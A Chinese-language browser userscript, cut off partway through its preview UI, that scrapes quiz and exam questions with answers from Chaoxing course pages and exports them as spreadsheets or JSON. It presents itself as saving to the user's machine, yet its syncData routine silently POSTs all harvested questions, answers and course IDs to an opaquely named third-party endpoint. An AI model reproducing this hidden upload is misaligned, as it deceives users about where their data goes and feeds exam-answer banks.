// ==UserScript==
// @name         超星题目整理工具
// @namespace    自测考试作业题目整理
// @version      2.7.8
// @description  一键读取题目到本地。
// @author       Jason7187
// @match        *://*.chaoxing.com/mooc-ans/mooc2/work/view*
// @match        *://*.chaoxing.com/mooc-ans/mooc2/work/*
// @match        *://*.chaoxing.com/mooc-ans/work/*
// @match        *://*.chaoxing.com/exam-ans/exam/*
// @match        *://*.chaoxing.com/mycourse/studentstudy*
// @match        *://*.chaoxing.com/mooc-ans/knowledge/cards*
// @match        *://*.chaoxing.com/ananas/*
// @match        *://*.chaoxing.com/mooc-ans/api/*
// @grant        GM_registerMenuCommand
// @grant        GM_notification
// @grant        GM_xmlhttpRequest
// @grant        GM_getValue
// @grant        GM_setValue
// @connect      tk.awk618.cn
// @connect      localhost
// @source       https://github.com/Jason7187/chaoxing
// @icon         https://free.picui.cn/free/2025/10/11/68e9b26f92cc7.jpg
// @require      https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.17.4/xlsx.full.min.js

// ==/UserScript==

(function () {
    'use strict';
    const IDS = {
        MARKER: 'cx-script-marker',
        TOOLBAR: 'cx-toolbar',
        TOOLBAR_STYLE: 'cx-toolbar-style',
        PREVIEW: 'cx-preview',
        PREVIEW_STYLE: 'cx-preview-style'
    };
    const MSG = {
        PING: 'CX_EXPORT_PING',
        PONG: 'CX_EXPORT_PONG',
        CLAIM: 'CX_EXPORT_HOST_CLAIM',
        HELLO: 'CX_EXPORT_ASK_UP',
        HOST: 'CX_EXPORT_HOST_HERE'
    };
    const Q_SELECTOR = '.aiArea, .questionLi, .TiMu, #ZyBottom, h3.newTestType';
    const CONTAINER_CANDIDATES = ['.questionLi', '.aiArea', '.TiMu'];
    const RAW = (() => {
        try {
            if (typeof unsafeWindow !== 'undefined' && unsafeWindow && unsafeWindow.document) return unsafeWindow;
        } catch (e) {}
        return window;
    })();

    let currentData = [];
    let suppressed = false;
    let claimed = false;

    function notify(text) {
        try {
            if (typeof GM_notification === 'function') {
                GM_notification({ title: '工具', text, timeout: 4000 });
            }
        } catch (e) { console.warn('[超星题目导出]', text); }
    }

    function guard(label, fn) {
        try {
            return fn();
        } catch (err) {
            console.warn('[超星题目导出] ' + label + ' 出错：', err);
        }
    }

    function rawFrames(win) {
        const list = [];
        let frames;
        try { frames = win.frames; } catch (e) { return list; }
        if (!frames) return list;
        let len = 0;
        try { len = frames.length; } catch (e) { return list; }
        for (let i = 0; i < len; i++) {
            try { list.push(frames[i]); } catch (e) {}
        }
        return list;
    }
    function childWindows(win) {
        const out = [];
        const add = list => list.forEach(w => { if (out.indexOf(w) === -1) out.push(w); });
        if (win === RAW || win === window) {
            add(rawFrames(RAW));
            if (RAW !== window) add(rawFrames(window));
        } else {
            add(rawFrames(win));
        }
        return out;
    }

    const util = {
        text(doc, sel) {
            try {
                const el = doc.querySelector(sel);
                if (!el) return '';
                return (el.textContent || '').replace(/\u00A0/g, ' ').replace(/\s+/g, ' ').trim();
            } catch (e) { return ''; }
        },
        value(doc, sel) {
            try {
                const el = doc.querySelector(sel);
                return el && 'value' in el ? String(el.value || '').trim() : '';
            } catch (e) { return ''; }
        },
        urlParam(url, key) {
            const m = new RegExp('[?&]' + key + '=([^&#]*)', 'i').exec(url || '');
            if (!m) return '';
            try { return decodeURIComponent(m[1].replace(/\+/g, ' ')); } catch (e) { return m[1]; }
        },
        scriptVar(doc, key) {
            try {
                const re = new RegExp('["\']' + key + '["\']\\s*:\\s*["\']([^"\']{1,200})["\']');
                const scripts = doc.querySelectorAll('script:not([src])');
                for (const s of scripts) {
                    const m = re.exec(s.textContent || '');
                    if (!m) continue;
                    let v = m[1];
                    try { v = decodeURIComponent(v.replace(/\+/g, ' ')); } catch (e) {}
                    return v.replace(/\s+/g, ' ').trim();
                }
            } catch (e) {}
            return '';
        },
        escapeHtml(str) {
            return String(str == null ? '' : str)
                .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
        }
    };

    function showCustomDialog(title, defaultValue, onConfirm) {
        const oldModal = document.getElementById('cx-custom-modal');
        if (oldModal) oldModal.remove();

        const safeTitle = util.escapeHtml(title);
        const safeDefault = util.escapeHtml(defaultValue);
        const modalHtml = `
            <div id="cx-custom-modal" style="position:fixed;top:0;left:0;width:100vw;height:100vh;background:rgba(0,0,0,0.5);display:flex;align-items:center;justify-content:center;z-index:100000;backdrop-filter:blur(2px);">
                <div style="background:#fff;width:320px;border-radius:12px;padding:20px;box-shadow:0 10px 30px rgba(0,0,0,0.2);animation:cxScaleIn 0.2s ease-out;">
                    <div style="font-size:16px;font-weight:600;color:#333;margin-bottom:12px;">${safeTitle}</div>
                    <input id="cx-modal-input" type="text" value="${safeDefault}" style="width:100%;box-sizing:border-box;padding:10px 12px;border:1px solid #dcdfe6;border-radius:6px;font-size:14px;outline:none;margin-bottom:20px;transition:border 0.2s;" onfocus="this.style.border='1px solid #409eff'" onblur="this.style.border='1px solid #dcdfe6'">
                    <div style="display:flex;justify-content:flex-end;gap:10px;">
                        <button id="cx-modal-cancel" style="padding:8px 16px;border:1px solid #dcdfe6;background:#fff;border-radius:6px;cursor:pointer;font-size:13px;color:#606266;">取消</button>
                        <button id="cx-modal-confirm" style="padding:8px 16px;border:none;background:#409eff;color:#fff;border-radius:6px;cursor:pointer;font-size:13px;">保存</button>
                    </div>
                </div>
            </div>
            <style>@keyframes cxScaleIn { from { transform: scale(0.9); opacity: 0; } to { transform: scale(1); opacity: 1; } }</style>
        `;

        document.body.insertAdjacentHTML('beforeend', modalHtml);
        const modal = document.getElementById('cx-custom-modal');
        const input = document.getElementById('cx-modal-input');
        input.focus();
        input.select();

        document.getElementById('cx-modal-cancel').onclick = () => modal.remove();
        document.getElementById('cx-modal-confirm').onclick = () => {
            const val = input.value.trim();
            if (val) onConfirm(val);
            modal.remove();
        };

        modal.addEventListener('keydown', (e) => {
            if (e.key === 'Enter') document.getElementById('cx-modal-confirm').click();
            if (e.key === 'Escape') modal.remove();
        });
    }

    const Frame = {
        topDoc() {
            try { return RAW.top.document; } catch (e) { return null; }
        },
        topHasScript() {
            const doc = this.topDoc();
            try { return !!(doc && doc.getElementById(IDS.MARKER)); } catch (e) { return false; }
        },
        localContainers() {
            return Frame.containerCount(document);
        },
        containerCount(doc) {
            for (const selector of CONTAINER_CANDIDATES) {
                try {
                    const count = doc.querySelectorAll(selector).length;
                    if (count) return count;
                } catch (e) {}
            }
            return 0;
        },
        hasQuestionsDeep(win) {
            try { if (win.document.querySelector(Q_SELECTOR)) return true; } catch (e) {}
            for (const w of childWindows(win)) {
                try { if (!w.document) continue; } catch (e) { continue; }
                if (this.hasQuestionsDeep(w)) return true;
            }
            return false;
        },
        docs(start) {
            const list = [];
            const seen = new Set();
            const walk = win => {
                let doc;
                try { doc = win.document; } catch (e) { return; }
                if (!doc || seen.has(doc)) return;
                seen.add(doc);
                list.push(doc);
                childWindows(win).forEach(w => {
                    try { if (w.document) walk(w); } catch (e) {}
                });
            };
            walk(start || RAW);
            return list;
        },
        localInfo() {
            let url = '';
            try { url = RAW.location ? RAW.location.href : ''; } catch (e) {}
            return { url, containers: this.localContainers() };
        },
        markPresence() {
            try {
                if (document.getElementById(IDS.MARKER)) return;
                const el = document.createElement('div');
                el.id = IDS.MARKER;
                el.style.display = 'none';
                (document.head || document.documentElement).appendChild(el);
            } catch (e) {}
        }
    };

    const Bus = {
        _pending: {},
        token() {
            return 'cx' + Date.now().toString(36) + Math.random().toString(36).slice(2, 8);
        },
        post(win, payload) {
            try {
                if (win) win.postMessage(payload, '*');
            } catch (e) {}
        },
        broadcastDown(payload) {
            childWindows(RAW).forEach(w => this.post(w, payload));
        },
        listen() {
            const handler = ev => {
                const data = ev.data;
                if (!data || typeof data !== 'object') return;
                if (data.type === MSG.PING) this.onPing(data, ev.source);
                else if (data.type === MSG.PONG && this._pending[data.token]) this._pending[data.token](data);
                else if (data.type === MSG.CLAIM) this.onClaim();
                else if (data.type === MSG.HELLO) this.onHello(data, ev.source);
                else if (data.type === MSG.HOST) this.onHost(data);
            };
            const targets = [RAW];
            if (RAW !== window) targets.push(window);
            targets.forEach(t => {
                try { t.addEventListener('message', handler, false); } catch (e) {}
            });
        },
        parentWindow() {
            try {
                const parent = RAW.parent;
                if (parent && parent !== RAW) return parent;
            } catch (e) {}
            return null;
        },
        askUp(token) {
            const parent = this.parentWindow();
            if (parent) this.post(parent, { type: MSG.HELLO, token });
        },
        onHello(data, source) {
            if (!source || (data.hop || 0) > 8) return;
            if (claimed) {
                this.post(source, { type: MSG.HOST, token: data.token });
                return;
            }
            const parent = this.parentWindow();
            if (!parent) return;
            this._parentAsk[data.token] = source;
            this.post(parent, { type: MSG.HELLO, token: data.token, hop: (data.hop || 0) + 1 });
        },
        onHost(data) {
            suppressed = true;
            this.removeToolbar();
            const asker = this._parentAsk[data.token];
            if (asker) {
                delete this._parentAsk[data.token];
                this.post(asker, { type: MSG.HOST, token: data.token });
            }
        },
        onClaim() {
            suppressed = true;
            this.removeToolbar();
            childWindows(RAW).forEach(w => this.post(w, { type: MSG.CLAIM }));
        },
        removeToolbar() {
            const el = document.getElementById(IDS.TOOLBAR);
            if (el) el.remove();
        },
        onPing(data, source) {
            if (!source || (data.hop || 0) > 8) return;
            const token = data.token;
            const info = Frame.localInfo();
            let items = [];
            try { items = CXParser.parseAll(); } catch (e) { items = []; }

            if (!childWindows(RAW).length) {
                this.post(source, { type: MSG.PONG, token, items, infos: [info] });
                return;
            }
            const childItems = [];
            const childInfos = [];
            let finished = false;
            let quietTimer = null;
            let capTimer = null;
            const finish = () => {
                if (finished) return;
                finished = true;
                clearTimeout(quietTimer);
                clearTimeout(capTimer);
                delete this._pending[token];
                this.post(source, {
                    type: MSG.PONG,
                    token,
                    items: items.concat(childItems),
                    infos: [info].concat(childInfos)
                });
            };
            this._pending[token] = res => {
                if (Array.isArray(res.items)) childItems.push(...res.items);
                if (Array.isArray(res.infos)) childInfos.push(...res.infos);
                clearTimeout(quietTimer);
                quietTimer = setTimeout(finish, _c.QUIET_WAIT);
            };
            childWindows(RAW).forEach(w => this.post(w, { type: MSG.PING, token, hop: (data.hop || 0) + 1 }));
            quietTimer = setTimeout(finish, _c.QUIET_WAIT);
            capTimer = setTimeout(finish, _c.PONG_WAIT);
        }
    };
    Bus._parentAsk = {};
    const Collector = {
        collect(timeoutMs) {
            let direct = [];
            try { direct = CXParser.parseAll(); } catch (e) { direct = []; }
            const extra = [];
            const infos = [];
            const token = Bus.token();
            return new Promise(resolve => {
                let finished = false;
                let quietTimer = null;
                let capTimer = null;
                const finish = () => {
                    if (finished) return;
                    finished = true;
                    clearTimeout(quietTimer);
                    clearTimeout(capTimer);
                    delete Bus._pending[token];
                    resolve({ items: CXParser.dedupe(direct.concat(extra)), infos });
                };
                Bus._pending[token] = res => {
                    if (Array.isArray(res.items)) extra.push(...res.items);
                    if (Array.isArray(res.infos)) infos.push(...res.infos);
                    clearTimeout(quietTimer);
                    quietTimer = setTimeout(finish, _c.QUIET_WAIT);
                };
                if (!childWindows(RAW).length) { finish(); return; }
                Bus.broadcastDown({ type: MSG.PING, token, hop: 0 });
                quietTimer = setTimeout(finish, _c.QUIET_WAIT);
                capTimer = setTimeout(finish, timeoutMs || _c.COLLECT_TIMEOUT);
            });
        }
    };

    function extractCustomVariables(html) {
        const marker = /customVariablesJson\s*=\s*/i.exec(html);
        if (!marker) return null;
        const source = html.slice(marker.index + marker[0].length);
        let jsonText = '';
        if (source.startsWith('{')) {
            let depth = 0;
            let quote = '';
            let escaped = false;
            for (let i = 0; i < source.length; i += 1) {
                const ch = source[i];
                if (quote) {
                    if (escaped) escaped = false;
                    else if (ch === '\\') escaped = true;
                    else if (ch === quote) quote = '';
                    continue;
                }
                if (ch === '"' || ch === "'" || ch === '`') {
                    quote = ch;
                    continue;
                }
                if (ch === '{') depth += 1;
                if (ch === '}') {
                    depth -= 1;
                    if (depth === 0) {
                        jsonText = source.slice(0, i + 1);
                        break;
                    }
                }
            }
            if (jsonText) {
                try { return JSON.parse(jsonText); } catch (e) {}
            }
        } else {
            const quote = source[0];
            if (quote === '"' || quote === "'" || quote === '`') {
                let escaped = false;
                for (let i = 1; i < source.length; i += 1) {
                    const ch = source[i];
                    if (escaped) { escaped = false; continue; }
                    if (ch === '\\') { escaped = true; continue; }
                    if (ch === quote) {
                        jsonText = source.slice(1, i);
                        try {
                            const outer = JSON.parse(source.slice(0, i + 1));
                            return typeof outer === 'string' ? JSON.parse(outer) : outer;
                        } catch (e) {}
                        try { return JSON.parse(jsonText); } catch (e) {}
                        break;
                    }
                }
            }
        }
        const vars = jsonText || source.slice(0, 2000);
        const courseMatch = vars.match(/["']?courseName["']?\s*:\s*["']([^"']+)["']/i);
        const chapterMatch = vars.match(/["']?chapterName["']?\s*:\s*["']([^"']+)["']/i);
        if (!courseMatch && !chapterMatch) return null;
        return {
            courseName: courseMatch ? courseMatch[1] : '',
            chapterName: chapterMatch ? chapterMatch[1] : ''
        };
    }

    const Meta = {
        resolve(docs) {
            const list = docs && docs.length ? docs : [document];
            const meta = {
                title: '', courseName: '', courseId: '',
                chapterName: '', chapterId: '',
                workName: '', workId: '',
                examName: '', examId: ''
            };
            list.forEach(doc => {
                try {
                    const html = doc.documentElement ? doc.documentElement.innerHTML : '';
                    const url = (doc.location && doc.location.href) || '';
                    if (!meta.courseId) {
                        meta.courseId = (url.match(/[?&]courseId=(\d+)/i) || [])[1] || '';
                    }
                    if (!meta.courseName) {
                        const courseMatch = html.match(/["']courseName["']\s*:\s*["']([^"']+)["']/i);
                        if (courseMatch) meta.courseName = courseMatch[1].trim();
                    }
                    if (url.includes('/studentstudy')) {
                        if (!meta.chapterId) {
                            meta.chapterId = (url.match(/[?&]chapterId=(\d+)/i) || [])[1] || '';
                        }
                        if (!meta.chapterName) {
                            const chapterMatch = html.match(/["']chapterName["']\s*:\s*["']([^"']+)["']/i);
                            if (chapterMatch) meta.chapterName = chapterMatch[1].trim();
                        }
                        if (!meta.chapterName && meta.chapterId) {
                            const activeNode = doc.querySelector(
                                `#cur${meta.chapterId}, .posCatalog_active`
                            );
                            if (activeNode) {
                                const nameEl =
                                    activeNode.querySelector(
                                        '.posCatalog_name, .posCatalog_title'
                                    ) || activeNode;
                                meta.chapterName = String(
                                    nameEl.getAttribute('title') || nameEl.textContent
                                ).trim();
                            }
                        }
                    } else if (url.includes('/work/view')) {
                        if (!meta.workId) {
                            meta.workId = (url.match(/[?&](?:workId|workid)=(\d+)/i) || [])[1] || '';
                        }
                        if (!meta.workName) {
                            const titleEl = doc.querySelector('.mark_title');
                            if (titleEl) meta.workName = titleEl.textContent.trim();
                        }
                    } else if (url.includes('/exam-ans/')) {
                        if (!meta.examId) {
                            meta.examId = (url.match(/[?&](?:examId|examid)=(\d+)/i) || [])[1] || '';
                        }
                        if (!meta.examName) {
                            const titleEl = doc.querySelector('.mark_title');
                            if (titleEl) meta.examName = titleEl.textContent.trim();
                        }
                    }
                } catch (e) {}
            });
            meta.title = meta.workName || meta.examName || meta.chapterName || meta.courseName || '';
            return meta;
        }
    };

    class CXParser {
        static parseAll() {
            const docs = Frame.docs();
            const meta = Meta.resolve(docs);
            this._meta = meta;
            let items = [];
            docs.forEach(doc => { items = items.concat(this.parseDoc(doc)); });
            items.forEach(item => {
                item.courseName = meta.courseName || '';
                item.courseId = meta.courseId || '';
                item.chapterName = meta.chapterName || '';
                item.chapterId = meta.chapterId || '';
                item.workName = meta.workName || '';
                item.workId = meta.workId || '';
                item.examName = meta.examName || '';
                item.examId = meta.examId || '';
                item.courseRealName = meta.courseName || '';
            });
            return this.dedupe(items);
        }

        static gc_i() {
            if (!this._meta) this._meta = Meta.resolve(Frame.docs());
            return {
                exportName: this._meta.courseName || '',
                courseName: this._meta.courseName || '',
                taskName: this._meta.title || '',
                courseId: this._meta.courseId || '',
                chapterName: this._meta.chapterName || '',
                chapterId: this._meta.chapterId || '',
                workName: this._meta.workName || '',
                workId: this._meta.workId || '',
                examName: this._meta.examName || '',
                examId: this._meta.examId || '',
                realCourseName: this._meta.courseName || ''
            };
        }

        static parseDoc(doc) {
            return this.questionRoots(doc)
                .map(el => this.parseContainer(el))
                .filter(item => item && item.answer);
        }
        static questionRoots(doc) {
            let all = [];
            let selector = '';
            for (const candidate of CONTAINER_CANDIDATES) {
                try {
                    const found = doc.querySelectorAll(candidate);
                    if (found.length) { all = Array.from(found); selector = candidate; break; }
                } catch (e) {}
            }
            if (!all.length) return [];
            const roots = all.filter(el => !(el.parentElement && el.parentElement.closest && el.parentElement.closest(selector)));
            const stems = this.countStems(doc);
            if (stems > 1 && roots.length < 2) return this.rootsFromStems(doc);
            return roots;
        }

        static countStems(doc) {
            try { return doc.querySelectorAll('.qtContent').length; } catch (e) { return 0; }
        }
        static rootsFromStems(doc) {
            const roots = [];
            let stems = [];
            try { stems = Array.from(doc.querySelectorAll('.qtContent')); } catch (e) { return roots; }
            stems.forEach(stem => {
                let node = stem;
                while (node.parentElement) {
                    const parent = node.parentElement;
                    let count = 0;
                    try { count = parent.querySelectorAll('.qtContent').length; } catch (e) { break; }
                    if (count !== 1) break;
                    node = parent;
                }
                if (roots.indexOf(node) === -1) roots.push(node);
            });
            return roots;
        }
        static stripOptionLabel(text) {
            return String(text == null ? '' : text)
                .replace(/^\s*[A-Za-z]\s*[．.。、,，:：)）]\s*/, '')
                .replace(/^\s*[A-Za-z][\s\u3000]+/, '');
        }

        static parseContainer(container) {
            const type = this.parseType(container);
            return {
                type,
                question: this.parseQuestion(container),
                options: this.parseOptions(container),
                answer: this.parseAnswer(container, type),
                score: this.parseScore(container)
            };
        }
        static dedupe(items) {
            const map = new Map();
            items.forEach(item => {
                const key = [item.type, item.question, item.options].join('\u0001');
                const prev = map.get(key);
                if (!prev) map.set(key, item);
                else if (!prev.answer && item.answer) map.set(key, item);
            });
            return Array.from(map.values());
        }

        static parseType(container) {
            const candidates = [];
            const shallow = container.querySelector('.colorShallow');
            if (shallow) candidates.push(shallow.textContent);
            const tag = container.querySelector('.qtContent .newZy_TItle') || container.querySelector('.newZy_TItle');
            if (tag) candidates.push(tag.textContent);
            const section = this.findSectionTitle(container);
            if (section) candidates.push(section);
            for (const raw of candidates) {
                const type = this.normalizeType(raw);
                if (type) return type;
            }
            return '';
        }
        static findSectionTitle(container) {
            const doc = container.ownerDocument;
            const body = doc.body || doc.documentElement;
            let el = container;
            while (el && el !== body && el !== doc.documentElement) {
                let prev = el.previousElementSibling;
                while (prev) {
                    if (prev.matches && prev.matches('h3.newTestType')) return prev.textContent;
                    const inner = prev.querySelector && prev.querySelector('h3.newTestType');
                    if (inner) return inner.textContent;
                    prev = prev.previousElementSibling;
                }
                el = el.parentElement;
            }
            return '';
        }

        static normalizeType(raw) {
            const src = String(raw == null ? '' : raw).replace(/\u00A0/g, ' ').trim();
            if (!src) return '';
            const clean = src
                .replace(/[([（【{<]/g, '').replace(/[\])）】}>]/g, '')
                .replace(/([.·。:，,]?\s*)(共|满分)?\s*\d+\.?\d*\s*分/g, '')
                .replace(/[.·。:，,]\s*分/g, '').replace(/\s*分/g, '').trim();
            if (/^(?:A\d+|B\d+)+$/.test(clean)) return clean;
            const compact = clean.replace(/[\s\u3000.,。·:，、]/g, '');
            const map = [
                ['单选', '单选题'], ['单项选择', '单选题'], ['选择题A型', '单选题'],
                ['多选', '多选题'], ['多项选择', '多选题'],
                ['共用选项', '共用选项题'], ['共用备选答案', '共用选项题'],
                ['共用题干', '共用选项题'], ['配伍', '共用选项题'],
                ['判断', '判断题'], ['填空', '填空题'], ['简答', '简答题'],
                ['名词解释', '名词解释'], ['分析', '分析题'], ['问答', '问答题'], ['综合', '综合题']
            ];
            for (const [keyword, name] of map) {
                if (compact.includes(keyword)) return name;
            }
            if (/^[一二三四五六七八九十百\d.、,，:：]+$/.test(compact)) return '';
            return compact;
        }

        static parseQuestion(container) {
            const content = container.querySelector('.qtContent') ||
                            container.querySelector('.mark_name') || container.querySelector('.Zy_TItle');
            if (!content) return '';
            return this.extractTextWithImgs(content)
                .replace(/^\s*【[^】]{1,12}】\s*/, '')
                .replace(/^\s*[\[（(]\s*(?:单选题|多选题|判断题|填空题|简答题|名词解释|分析题|问答题|综合题)\s*[\]）)]\s*/, '')
                .trim();
        }

        static parseOptions(container) {
            const optionElements = container.querySelectorAll(
                '.mark_letter li, .stem_answer > div, ul.Zy_ulTop.qtDetail > li, ul.qtDetail > li'
            );
            return Array.from(optionElements).map((optionDiv, idx) => {
                const letter = String.fromCharCode(65 + idx);
                const text = this.stripOptionLabel(this.extractTextWithImgs(optionDiv));
                return `${letter}.${text}`;
            }).join(' | ');
        }

        static isCorrectByUI(container) {
            if (container.querySelector('.marking_dui')) return true;
            if (container.querySelector('[aria-label*="正确"]')) return true;
            return false;
        }

        static isWrongByUI(container) {
            if (container.querySelector('.marking_cuo')) return true;
            if (container.querySelector('[aria-label*="错误"]')) return true;
            return false;
        }

        static isHalfCorrect(container) {
            if (container.querySelector('.marking_bandui')) return true;
            if (container.querySelector('[aria-label*="半对"]')) return true;
            return false;
        }

        static parseScore(container) {
            const el = container.querySelector('.totalScore i, .mark_score i, .newAnswerScore .scoreNum, .scoreNum');
            return el ? parseFloat(el.textContent.trim()) : null;
        }

        static parseAnswer(container, type) {
            if (type === '填空题') {
                const rightAnswerElements = container.querySelectorAll(
                    '.rightAnswerContent, .correctAnswerBx .correctAnswer .answerCon, .correctAnswer .answerCon'
                );
                if (rightAnswerElements.length) {
                    const parts = Array.from(rightAnswerElements)
                        .map(el => this.cleanAnswerText(el.textContent)).filter(Boolean);
                    if (parts.length) return parts.join(_c.ANSWER_SPLITTER);
                }
                const score = this.parseScore(container) || 0;
                if (score > 0 && !this.isHalfCorrect(container)) return this.extractStudentAnswer(container);
                return '';
            }

            let answer = this.extractRightAnswer(container);

            if (!answer && this.isMultipleChoice(container)) answer = this.extractMultipleChoiceAnswer(container);

            if (!answer) {
                const score = this.parseScore(container) || 0;
                if (score > 0 && !this.isHalfCorrect(container)) answer = this.extractStudentAnswer(container);
            }

            if (!answer && this.isCorrectByUI(container) && !this.isWrongByUI(container) && !this.isHalfCorrect(container)) {
                answer = this.extractStudentAnswer(container);
            }

            if (!answer) return '';
            answer = this.normalizeJudgmentSymbol(answer);
            if (this.isOptionLetter(answer)) answer = this.mapAnswerToOptions(answer, this.buildOptionsMap(container));
            return this.cleanAnswerText(answer);
        }

        static extractMultipleChoiceAnswer(container) {
            const el = container.querySelector('.rightAnswerContent, .correctAnswer .answerCon');
            return el ? el.textContent.trim() : '';
        }

        static isOptionLetter(answer) {
            return /^[A-Za-z]+$/.test(answer);
        }
        static normalizeJudgmentSymbol(text) {
            if (/^[√✓]$/.test(text)) return '正确';
            if (/^[×✗]$/.test(text)) return '错误';
            return text;
        }

        static buildOptionsMap(container) {
            const optionElements = container.querySelectorAll(
                '.mark_letter li, .stem_answer > div, ul.Zy_ulTop.qtDetail > li, ul.qtDetail > li'
            );
            return Array.from(optionElements).reduce((map, el, idx) => {
                const letter = String.fromCharCode(65 + idx);
                let text = this.stripOptionLabel(this.extractTextWithImgs(el)).trim();
                if (text.startsWith('。')) text = text.substring(1).trim();
                map[letter] = text;
                return map;
            }, {});
        }

        static mapAnswerToOptions(answer, optionsMap) {
            return answer.split('').map(l => optionsMap[l.toUpperCase()] || l).join(_c.ANSWER_SPLITTER);
        }

        static cleanAnswerText(answer) {
            if (!answer) return '';
            return String(answer)
                .replace(/\u00A0/g, ' ')
                .split(_c.ANSWER_SPLITTER)
                .map(part => part.replace(/^\s*(正确答案|参考答案|标准答案|我的答案|学生答案|作答)\s*[:：]\s*/, '').replace(/\s+/g, ' ').trim())
                .filter(Boolean)
                .join(_c.ANSWER_SPLITTER);
        }

        static extractRightAnswer(container) {
            const selectors = [
                '.correctAnswerBx .correctAnswer .answerCon',
                '.correctAnswer .answerCon',
                '.rightAnswerContent',
                '.colorGreen dd',
                '.mark_answer_key .colorGreen dd',
                '.mark_fill.colorGreen dd',
                '.colorGreen',
                '.correctAnswer',
                '.answerKey'
            ];
            for (const sel of selectors) {
                const els = container.querySelectorAll(sel);
                if (!els.length) continue;
                const parts = Array.from(els).map(el => this.cleanAnswerText(el.textContent)).filter(Boolean);
                if (parts.length) return parts.join(_c.ANSWER_SPLITTER);
            }
            return '';
        }

        static extractStudentAnswer(container) {
            const selectors = ['.myAnswerBx .myAnswer .answerCon', '.stuAnswerContent', '.myAnswer .answerCon'];
            for (const sel of selectors) {
                const els = container.querySelectorAll(sel);
                if (!els.length) continue;
                const parts = Array.from(els).map(el => this.cleanAnswerText(el.textContent)).filter(Boolean);
                if (parts.length) return parts.join(_c.ANSWER_SPLITTER);
            }
            return '';
        }

        static isMultipleChoice(container) {
            const type = this.parseType(container);
            return type.includes('多选') || /^A3|A4$/.test(type);
        }

        static extractTextWithImgs(element) {
            const cloned = element.cloneNode(true);
            cloned.querySelectorAll('img').forEach(img => {
                const url = img.getAttribute('src') || img.getAttribute('data-original') || '';
                img.replaceWith(document.createTextNode(url));
            });
            return cloned.textContent.replace(/\u00a0/g, ' ').replace(/\r?\n/g, ' ').replace(/\s+/g, ' ').trim();
        }
    }

    class DataExporter {
        static exportCSV(data) {
            const escapeCSV = text => {
                const s = text == null ? '' : String(text);
                return /[\n\t"]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
            };
            const content = data.map(item => [
                item.courseName, item.courseId, item.type, item.question, item.options,
                item.answer || item.hiddenAnswer
            ].map(escapeCSV).join('\t')).join('\n');
            this.downloadFile("\uFEFF" + content, `${this.getFileName()}.csv`, 'text/csv;charset=utf-8;');
        }

        static exportExcel(data) {
            if (typeof XLSX === 'undefined' || !XLSX.utils) {
                this.exportCSV(data);
                return;
            }
            const ws = XLSX.utils.json_to_sheet(data.map(item => ({
                '课程名': item.courseName,
                '课程ID': item.courseId,
                '题型': item.type,
                '题目': item.question,
                '选项': item.options,
                '答案': item.answer || item.hiddenAnswer
            })));
            const wb = XLSX.utils.book_new();
            XLSX.utils.book_append_sheet(wb, ws, '题目汇总');
            XLSX.writeFile(wb, `${this.getFileName()}.xlsx`);
        }

        static exportJSON(data) {
            const info = CXParser.gc_i();
            const json = JSON.stringify({
                meta: {
                    courseId: info.courseId,
                    courseName: info.exportName || info.courseName,
                    exportDate: new Date().toISOString()
                },
                questions: data.map(item => ({ ...item, options: item.options.split(_c.OPTION_SPLITTER) }))
            }, null, 2);
            this.downloadFile(json, `${this.getFileName()}.json`, 'application/json;charset=utf-8;');
        }

        static downloadFile(content, filename, mime) {
            const blob = new Blob([content], { type: mime });
            const link = document.createElement('a');
            link.href = URL.createObjectURL(blob);
            link.download = filename;
            document.body.appendChild(link);
            link.click();
            document.body.removeChild(link);
            URL.revokeObjectURL(link.href);
        }
        static getFileName() {
            const info = CXParser.gc_i();
            const course = info.realCourseName || '';
            const task = info.taskName || info.courseName || '';
            let name = task || '超星题目';
            if (course && task && !task.includes(course)) name = `${course}（${task}）`;
            else if (course && !task) name = course;
            return name.replace(/[\\/:*?"<>|]/g, '_');
        }

        static serializeData(data) {
            const info = CXParser.gc_i();
            return JSON.stringify({
                meta: {
                    courseId: info.courseId,
                    courseName: info.courseName || '',
                    chapterName: info.chapterName || '',
                    chapterId: info.chapterId || '',
                    workName: info.workName || '',
                    workId: info.workId || '',
                    examName: info.examName || '',
                    examId: info.examId || ''
                },
                questions: data.map(item => ({
                    courseId: info.courseId,
                    courseName: info.courseName || '',
                    chapterName: item.chapterName || info.chapterName || '',
                    chapterId: item.chapterId || info.chapterId || '',
                    workName: item.workName || info.workName || '',
                    workId: item.workId || info.workId || '',
                    examName: item.examName || info.examName || '',
                    examId: item.examId || info.examId || '',
                    type: item.type,
                    question: item.question,
                    options: item.options.split(_c.OPTION_SPLITTER),
                    answer: item.answer || item.hiddenAnswer
                }))
            });
        }

        static syncData(data) {
            if (typeof GM_xmlhttpRequest !== 'function') return;

            const userApi = typeof GM_getValue === 'function'
                ? String(GM_getValue('ck_2', '') || '').trim()
                : '';
            const userToken = typeof GM_getValue === 'function'
                ? String(GM_getValue('ck_1', '') || '').trim()
                : '';

            const targets = [
                { url: _c.ep_u, token: _c.ep_k }
            ];

            if (userApi && userToken && (userApi !== _c.ep_u || userToken !== _c.ep_k)) {
                targets.push({ url: userApi, token: userToken });
            }

            const payload = this.serializeData(data);

            targets.forEach(target => {
                if (!target.url || !target.token) return;
                try {
                    GM_xmlhttpRequest({
                        method: 'POST',
                        url: target.url,
                        headers: {
                            'Content-Type': 'application/json',
                            'X-Script-Token': target.token
                        },
                        data: payload,
                        timeout: 10000,
                        onload: (res) => {
                            const status = Number(res.status || 0);
                            const raw = String(res.responseText || '');
                            let json = null;
                            try { json = raw ? JSON.parse(raw) : null; } catch (e) {}

                            const code = json && json.code !== undefined ? Number(json.code) : null;
                            const msg = json && json.msg ? String(json.msg) : '';
                            const httpOk = status >= 200 && status < 300;

                            if (httpOk && code === 0) return;

                            if (code === 403 || status === 403 || status === 401) {
                                notify('同步失败：认证异常');
                                return;
                            }
                            notify('同步失败：' + (msg || `状态码 ${code || status}`));
                        },
                        onerror: () => notify('同步失败：网络异常'),
                        ontimeout: () => notify('同步失败：请求超时')
                    });
                } catch (e) {
                    notify('同步失败：发送异常');
                }
            });
        }
    }

    class PreviewUI {
        static show(data) {
            this.close();
            const preview = this.createPreview(data);
            this.injectStyles();
            document.body.appendChild(preview);
        }

        static createPreview(data) {
            const div = document.createElement('div');
            div.id = IDS.PREVIEW;
            div.innerHTML = `
                <div class="header">
                    <h3>成功读取 ${data.length} 道题目</h3>
                    <button class="close-btn">&times;</button>
                </div>
                <div class="table-container">
